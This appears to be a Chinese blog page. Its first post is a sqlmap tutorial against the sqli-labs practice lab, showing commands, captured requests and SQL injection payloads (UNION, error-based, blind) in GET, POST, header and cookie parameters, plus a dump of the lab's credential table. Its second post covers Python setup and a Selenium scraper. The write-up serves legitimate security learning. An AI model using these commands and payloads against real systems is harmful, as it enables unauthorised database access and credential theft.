顯示具有 python 標籤的文章。 顯示所有文章
顯示具有 python 標籤的文章。 顯示所有文章

2021年9月30日 星期四

sqlmap使用心得

前言

在 從sqli-labs學習SQL注入（Less1-Less6） 的系列中，展示了手動注入，這篇文章將使用sqlmap注入

安裝

安裝python

我的windows 10 電腦已經裝過了（Python 3.8.6），這裡略過

下載sqlmap

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
然後以下的操作都在 sqlmap-dev 資料夾下操作

sqli-labs

Less-1（基於GET的注入）

聯合查詢注入

檢查注入點

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
對於剩餘的測試，您想要包括所有針對 "MySQL" 擴展提供的級別（1）和風險（1）值的測試嗎？ [Y/n] 輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
GET參數'id'是弱點。你想要繼續測試其他的（如果有）？
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]  N 
發現id是聯合查詢注入（UNION query）的弱點
sqlmap identified the following injection point(s) with a total of 29 HTTP(s) requests:
---
Parameter: id (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7535' UNION ALL SELECT NULL,CONCAT(0x71766b6271,0x644d6a4547546f724e4f6a5943474779796379665674464b4a496f76655865696472594b54466848,0x7171627871),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
可以查出使用的是nginx和大概的MySQL版本（我的環境是MySQL 5.6）

--technique=TECH - SQL注入技術測試（默認B布爾、E報錯、U聯合查詢、S、T延時）
--dbms=DBMS  - 強制後端的DBMS為此值
--random-agent - 使用隨機選定的HTTP User Agent Header
--flush-session - 刷新當前目標的會話文件
-v VERBOSE - 詳細級別：0-6（默認為1）。3：有效載荷注入。

列庫

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs
...
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

列表

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security --tables
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

列出表中字段

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --columns
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

dump資料

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --dump
Database: security
Table: users
[8 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
+----+------------+----------+

報錯注入

檢查注入點

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
...
sqlmap identified the following injection point(s) with a total of 6 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(7938,CONCAT(0x5c,0x7176786a71,(SELECT (ELT(7938=7938,1))),0x716b626b71)) AND 'uYoJ'='uYoJ
    Vector: AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
---

發現id是報錯注入（error-based）的注入點
其他【列庫】、【列表】、【列字段】、【列值】和上面一樣

布爾盲注

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
...
sqlmap identified the following injection point(s) with a total of 19 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8085=8085 AND 'ZUiE'='ZUiE
    Vector: AND [INFERENCE]
---
發現id是布爾盲注（boolean-based blind）的注入點

延時盲注

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
...
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2422 FROM (SELECT(SLEEP(5)))mFjj) AND 'mKHO'='mKHO
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
發現id是延時盲注（time-based blind）的注入點
延時盲注是實務上最強的注入方式（聯合查詢注入因不輸出查詢結果而不能使用、報錯注入因不輸出mysql_error()報錯而不能使用、布爾盲注因true和false都輸出同樣的結果而不能使用），但是在跑sqlmap時因為要sleep()，所以也是最花時間的

Less-11（基於POST的注入）

聯合查詢注入

檢查注入點（使用-r）

將 Burpsuite 截取的數據包內容保持為文本格式，如： sqli-labs-less-11.txt 然後放到 sqlmap-dev 資料夾（即sqlmap資料夾）下
POST /Less-11/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=2333&submit=Submit
然後直接使用 sqlmap 的 -r 參數來加載這個請求包：
$ python sqlmap.py -r sqli-labs-less-11.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=admin%' UNION ALL SELECT NULL,CONCAT(0x7170706271,0x485079745259634d616679727a597655584e76474c6748725a586d616d6f7a62676f4d7448794247,0x7178706a71)#&passwd=2333&submit=Submit
    Vector:  UNION ALL SELECT NULL,[QUERY]#
---
發現uname是聯合查詢注入（UNION query）的注入點

-r REQUESTFILE - 從一個文件中載入HTTP請求

檢查注入點（使用--data）

$ python sqlmap.py -u "http://sqlilabs.bt/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=admin%' UNION ALL SELECT CONCAT(0x717a7a6a71,0x68556c4f5158426e5279434e756f6d504869485945715773746444554a4653794358484c65656c6a,0x7178767a71),NULL#&passwd=2333&submit=Submit
    Vector:  UNION ALL SELECT [QUERY],NULL#
---
一樣可以發現uname是聯合查詢注入（UNION query）的注入點

--data=DATA - 通過POST發送的數據字符串
-p TESTPARAMETER - 可測試的參數

Less-18（基於User-Agent 請求頭的注入）

報錯注入

檢查注入點（使用-r）

將 Burpsuite 截取的數據包內容保持為文本格式，如： sqli-labs-less-18.txt 然後放到 sqlmap-dev 資料夾（即sqlmap資料夾）下，然後手動通過 * 來標記注入點： User-Agent: * 
POST /Less-18/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin&submit=Submit

$ python sqlmap.py -r sqli-labs-less-18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 0 --level=3
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n] Y
parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 720 HTTP(s) requests:
---
Parameter: User-Agent (User-Agent)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6'||(SELECT 0x6455485a FROM DUAL WHERE 7808=7808 AND GTID_SUBSET(CONCAT(0x717a627671,(SELECT (ELT(1983=1983,1))),0x7171626a71),1983))||'
---
發現User-Agent 是報錯注入（error-based）的注入點

--level=3 - 必須設置level 3以上才會發現 User-Agent 是注入點
-v 0 - 只顯示Python的回溯，錯誤和關鍵消息。

Less-19（基於Referer 請求頭的注入）

報錯注入

檢查注入點（使用-r）

將 Burpsuite 截取的數據包內容保持為文本格式，如： sqli-labs-less-19.txt 然後放到 sqlmap-dev 資料夾（即sqlmap資料夾）下，然後手動通過 * 來標記注入點： Referer: * 
POST /Less-19/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: *
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin&submit=Submit

$ python sqlmap.py -r sqli-labs-less-19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 0
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
(custom) HEADER parameter 'Referer #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: Referer #1* ((custom) HEADER)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: '||(SELECT 0x506b4f51 FROM DUAL WHERE 4198=4198 AND GTID_SUBSET(CONCAT(0x716b766a71,(SELECT (ELT(3749=3749,1))),0x716a7a6271),3749))||'
---
發現Referer 是報錯注入（error-based）的注入點

ps. 這題和Less-18不同，不需要設置 --level=3 就能找到注入點

Less-20（基於cookie的注入）

聯合查詢注入

檢查注入點（使用-r）

將 Burpsuite 截取的數據包內容保持為文本格式，如： sqli-labs-less-20.txt 然後放到 sqlmap-dev 資料夾（即sqlmap資料夾）下，然後手動通過 * 來標記注入點： Cookie: uname=admin* 
GET /Less-20/index.php HTTP/1.1
Host: sqlilabs.bt
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-20/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: uname=admin*
Connection: close

$ python sqlmap.py -r sqli-labs-less-20.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
...
do you want to URL encode cookie values (implementation specific)? [Y/n] n
...
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
sqlmap identified the following injection point(s) with a total of 23 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-1413' UNION ALL SELECT NULL,CONCAT(0x71716b7871,0x48586d697a467753574470624e646c6356764a5a43507a6e66677a6761547461435a6e56564a4866,0x7176627171),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
發現Cookie #1* ((custom) HEADER) ，即uname是聯合查詢注入（UNION query）的注入點

檢查注入點（使用--cookie）

$ python sqlmap.py -u "http://sqlilabs.bt/Less-20/" --cookie="uname=admin*" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
[13:56:32] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y 
...
do you want to URL encode cookie values (implementation specific)? [Y/n] n
...
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 23 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-4659' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707671,0x555467654f774b49554a536a7154764d485445544968526362524a49536f67486a6c417161667353,0x716b627171)-- -
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY]-- -
---
發現Cookie #1* ((custom) HEADER) ，即uname是聯合查詢注入（UNION query）的注入點





參考資料

https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html  SQLMap 从入门到入狱详细指南
https://www.sqlsec.com/2020/05/sqlilabs.html  SQLI labs 靶场精简学习记录
https://www.cnblogs.com/peterpan0707007/p/7620048.html  【总结】sqli-labs Less(1-35) 小结






張貼者： 於 沒有留言:
標籤： , , , ,

2021年1月21日 星期四

python心得

環境

windows 10

檢查python版本

（使用git bash）
$ python --version
Python 3.7.7

查pip版本

$ pip --version
pip 19.2.3 from c:\users\user\appdata\local\programs\python\python37-32\lib\site-packages\pip (python 3.7)

看目前系統有安裝哪些套件

$ pip list
Package    Version
---------- -------
pip        19.2.3
setuptools 41.2.0
WARNING: You are using pip version 20.2.3; however, version 20.3.3 is available.
You should consider upgrading via the 'c:\users\bear\appdata\local\programs\python\python39\python.exe -m pip install --upgrade pip' command.

升級pip

$ python -m pip install --upgrade pip
Collecting pip
  Downloading pip-21.0-py3-none-any.whl (1.5 MB)
     |████████████████████████████████| 1.5 MB 469 kB/s
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 20.2.3
    Uninstalling pip-20.2.3:
      Successfully uninstalled pip-20.2.3
Successfully installed pip-21.0

$ pip --version
pip 21.0 from c:\users\user\appdata\local\programs\python\python39\lib\site-packages\pip (python 3.9)


升級python

https://stackoverflow.com/a/57292808  How do I upgrade the Python installation in Windows 10?
直接到python官網下載最新的python安裝檔
如果你是要升級小版本3.x.y 到 3.x.z，可以直接【Upgrade Now】
如果你是要升級中版本3.x 到 3.y，安裝檔會提示你【Install Now】
安裝完成（我有禁用path length limit）

In this case, you are not upgrading, but you are installing a new version of Python. You can have more than one version installed on your machine. They will be located in different directories.
這種情況，你不是升級，你是安裝新版本的python。你的系統有多個python版本在不同的目錄。

使用py指定python版本

$ py -3.7
Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 09:44:33) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>

$ py -3.9
Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec  7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>


設定環境變量

設定=》系統=》關於=》進階系統設定
環境變數
編輯Path
將原本python 3.7的路徑改成3.9的
C:\Users\user\AppData\Local\Programs\Python\Python37-32\Scripts\
C:\Users\user\AppData\Local\Programs\Python\Python37-32\
改成
C:\Users\user\AppData\Local\Programs\Python\Python39\Scripts\
C:\Users\user\AppData\Local\Programs\Python\Python39\

然後開新的prompt檢查版本
$ python --version
Python 3.9.1

$ pip --version
pip 20.2.3 from c:\users\user\appdata\local\programs\python\python39\lib\site-packages\pip (python 3.9)

編輯器

PyCharm Professional 2020.3

斷點

File => Open （打開空目錄時，如C:\python\hello），會自動生成 main.py
這個檔案會教你怎麼用PyCharm的斷點，Debug（Shift+F9）即可開始斷點


熱鍵

自定義

Resume Program => F9


正確打開新項目的姿勢

File => New Project 
New environment using（環境使用）：【Virtualenv】（venv）
Base interpreter: C:\Users\user\AppData\Local\Programs\Python\Python39\python.exe  （如果你裝了2個python（3.7和3.9），要在這邊選IDE環境的python版本）

這樣項目下才會有venv目錄

.gitignore 忽略掉venv和.idea目錄

.gitignore
venv/
.idea/

爬蟲

https://www.learncodewithmike.com/2020/05/python-selenium-scraper.html  [Python爬蟲教學]整合Python Selenium及BeautifulSoup實現動態網頁爬蟲

在PyCharm 中安裝Selenium

Settings => Project: project_name => Python Interpreter => +
搜尋Selenium =》 Install Package
然後就可以看到成功安裝selenium，和相依賴的package（urllib3）
這樣只裝在IDE的環境中，沒安裝在系統上，所以git bash上面pip list還是沒有selenium。直接命令行執行會報錯
$ python crawler.py
Traceback (most recent call last):
  File "C:\bear\python\hello3\crawler.py", line 1, in <module>
    from selenium import webdriver
ModuleNotFoundError: No module named 'selenium'

系統安裝selenium

$ pip install selenium
Collecting selenium
  Using cached selenium-3.141.0-py2.py3-none-any.whl (904 kB)
Collecting urllib3
  Using cached urllib3-1.26.2-py2.py3-none-any.whl (136 kB)
Installing collected packages: urllib3, selenium
Successfully installed selenium-3.141.0 urllib3-1.26.2

命令行執行（需先配置好webdriver）

$ python crawler.py
DevTools listening on ws://127.0.0.1:60865/devtools/browser/c51ba9ea-08d4-45f8-bee0-5780695b15ef
老天尊的死期

安裝Webdriver

前往Python套件儲存庫PyPI(Python Package Index) 查詢Selenium 

點進去後，往下可以看到Drivers的地方，下載chromedriver

下載你chrome瀏覽器相對應的 ChromeDriver  
解壓縮 chromedriver_win32.zip 放到Python網頁爬蟲的專案資料夾中，如下圖：

第一個爬蟲程式


from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time

options = Options()
options.add_argument("--disable-notifications")

chrome = webdriver.Chrome('./chromedriver', options=options)
chrome.get("https://carlislebear.blogspot.com/")

print(chrome.title)
chrome.quit()
s
Line 5-6：options物件，主要用途為取消網頁中的彈出視窗，避免妨礙網路爬蟲的執行。
Line 8：就是建立webdriver物件，傳入剛剛所下載的「瀏覽器驅動程式路徑（chromedriver）-可略」及「瀏覽器設定(options)-可選」

執行



Line 11：chrome.title打印爬蟲網頁的標題，在Console 中也可以打印變數

第二個爬蟲程式

https://officeguide.cc/windows-python-selenium-automation-scripts-tutorial-examples/  Windows 使用 Python + Selenium 自動控制瀏覽器教學與範例
https://stackoverflow.com/a/39191349  NoSuchElementException - Unable to locate element
https://stackoverflow.com/a/44834542  Switch to an iframe through Selenium and python

目的：打開blog =》 搜尋python =》 取第一篇文章的標題


from selenium import webdriver
from selenium.webdriver.chrome.options import Options

from selenium.common.exceptions import TimeoutException
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

options = Options()
options.add_argument("--disable-notifications")

# chrome = webdriver.Chrome('./chromedriver', options=options)
chrome = webdriver.Chrome()
chrome.get("https://carlislebear.blogspot.com/")

iframe = chrome.find_element_by_name('navbar-iframe')
chrome.switch_to.frame(iframe)
b_query = chrome.find_element_by_id('b-query').send_keys('python')
chrome.find_element_by_xpath('//*[@id="b-query-icon"]').click()

try:
    WebDriverWait(chrome, 3).until(EC.element_to_be_clickable((By.XPATH, '//*[@id="Blog1"]/div[1]')))
    print(chrome.find_element_by_xpath('//*[@id="Blog1"]/div[1]/div[3]/div/div/div/h3').text)
except TimeoutException:
    print('等待逾時！')

chrome.quit()
s
Line 5-7 & Line 23-24：搜尋後直到內容出來後再打印出第一篇文章標題
Line 16-17：切換到上方iframe，否則會報錯
NoSuchElementException: Message: no such element: Unable to locate element
Line 16、18、19：可以使用find_element_by_name、find_element_by_id、find_element_by_xpath選擇DOM

如何快速寫出XPATH？

chrome 開發者工具DOM上右鍵 =》Copy=》 Copy XPath
剪貼簿中得到：
//*[@id="b-query-icon"]

如何驗證XPath？

開發者工具Console中使用 $x ，如：
$x('//*[@id="b-query-icon"]')

使用BeautifulSoup抓取所有文章標題

需安裝beautifulsoup4
 from selenium.webdriver.support import expected_conditions as EC
 from selenium.webdriver.common.by import By

+from bs4 import BeautifulSoup
+
 options = Options()
 options.add_argument("--disable-notifications")

@@ -21,6 +23,11 @@ chrome.find_element_by_xpath('//*[@id="b-query-icon"]').click()
 try:
     WebDriverWait(chrome, 3).until(EC.element_to_be_clickable((By.XPATH, '//*[@id="Blog1"]/div[1]')))
     print(chrome.find_element_by_xpath('//*[@id="Blog1"]/div[1]/div[3]/div/div/div/h3').text)
+    soup = BeautifulSoup(chrome.page_source, 'html.parser')
+    titles = soup.find_all('h3', {
+        'class': 'post-title'})
+    for title in titles:
+        print(title.getText())
 except TimeoutException:
     print('等待逾時！')

輸出：






































張貼者： 於 沒有留言:
標籤： ,
訂閱： 文章 (Atom)